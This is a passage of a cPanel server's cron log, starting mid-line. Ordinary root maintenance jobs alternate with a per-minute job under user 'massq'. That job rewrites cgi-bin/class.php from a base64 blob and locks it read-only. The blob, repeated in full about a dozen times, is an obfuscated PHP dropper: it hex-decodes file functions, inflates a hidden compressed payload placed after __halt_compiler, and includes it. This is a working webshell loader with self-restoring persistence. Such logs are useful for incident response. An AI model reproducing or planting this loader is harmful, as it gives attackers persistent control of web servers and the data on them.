VRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 19:59:01 server CROND[4881]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:00:01 server CROND[4950]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  6 20:00:01 server CROND[4952]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:00:01 server CROND[4953]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:00:01 server CROND[4955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:00:01 server CROND[4954]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 20:01:01 server CROND[5182]: (root) CMD (run-parts /etc/cron.hourly)
Apr  6 20:01:01 server CROND[5183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:01:01 server run-parts(/etc/cron.hourly)[5182]: starting 0anacron
Apr  6 20:01:01 server run-parts(/etc/cron.hourly)[5195]: finished 0anacron
Apr  6 20:02:01 server CROND[5269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:03:01 server CROND[5329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:04:01 server CROND[5409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:05:01 server CROND[5489]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:05:01 server CROND[5490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:05:01 server CROND[5488]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  6 20:05:01 server CROND[5492]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:05:01 server CROND[5493]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 20:06:01 server CROND[5637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:07:01 server CROND[5756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:08:01 server CROND[5918]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:09:01 server CROND[5991]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:09:01 server CROND[5993]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  6 20:10:01 server CROND[6061]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 20:10:01 server CROND[6062]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 20:10:01 server CROND[6063]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 20:10:01 server CROND[6066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:11:01 server CROND[6201]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 20:12:01 server CROND[6315]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
